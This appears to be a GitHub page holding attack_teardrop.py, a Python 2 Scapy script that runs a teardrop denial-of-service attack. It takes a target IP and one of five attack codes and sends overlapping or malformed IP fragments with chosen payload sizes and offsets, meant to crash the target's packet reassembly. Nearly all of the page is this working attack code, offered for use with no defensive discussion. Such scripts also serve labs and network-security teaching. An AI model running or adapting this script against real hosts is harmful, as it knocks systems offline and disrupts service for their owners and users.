-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathattack_teardrop.py
More file actions
140 lines (112 loc) · 2.21 KB
/
attack_teardrop.py
File metadata and controls
140 lines (112 loc) · 2.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#! /usr/bin/env python
# -*- coding: utf-8 -*-
#
#------------------------------------------------
import sys
from scapy.all import *
total = len(sys.argv)
if total != 3:
print "Performs teardrop attack from Kali Linux"
print " "
print "Usage: ./tear TARGET-IP ATTACK-CODE"
print " Attack Codes:"
print " 0: small payload (36 bytes), 2 packets, offset=3x8 bytes"
print " 1: large payload (1300 bytes), 2 packets, offset=80x8 bytes"
print " 2: large payload (1300 bytes), 12 packets, offset=80x8 bytes"
print " 3: large payload (1300 bytes), 2 packets, offset=3x8 bytes"
print " 4: large payload (1300 bytes), 2 packets, offset=10x8 bytes"
target=str(sys.argv[1])
attack=sys.argv[2]
print 'Attacking target ' + target + ' with attack ' + attack
if attack == '0':
print "Using attack 0"
size=36
offset=3
load1="\x00"*size
i=IP()
i.dst=target
i.flags="MF"
i.proto=17
size=4
offset=18
load2="\x00"*size
j=IP()
j.dst=target
j.flags=0
j.proto=17
j.frag=offset
send(i/load1)
send(j/load2)
elif attack == '1':
print "Using attack 1"
size=1300
offset=80
load="A"*size
i=IP()
i.dst=target
i.flags="MF"
i.proto=17
j=IP()
j.dst=target
j.flags=0
j.proto=17
j.frag=offset
send(i/load)
send(j/load)
elif attack == '2':
print "Using attack 2"
print "Attacking with attack 2"
size=1300
offset=80
load="A"*size
i=IP()
i.dst=target
i.proto=17
i.flags="MF"
i.frag=0
send(i/load)
print "Attack 2 packet 0"
for x in range(1, 10):
i.frag=offset
offset=offset+80
send(i/load)
print "Attack 2 packet " + str(x)
i.frag=offset
i.flags=0
send(i/load)
elif attack == '3':
print "Using attack 3"
size=1336
offset=3
load1="\x00"*size
i=IP()
i.dst=target
i.flags="MF"
i.proto=17
size=4
offset=18
load2="\x00"*size
j=IP()
j.dst=target
j.flags=0
j.proto=17
j.frag=offset
send(i/load1)
send(j/load2)
else: # attack == 4
print "Using attack 4"
size=1300
offset=10
load="A"*size
i=IP()
i.dst=target
i.flags="MF"
i.proto=17
j=IP()
j.dst=target
j.flags=0
j.proto=17
j.frag=offset
send(i/load)
send(j/load)
print "Done!"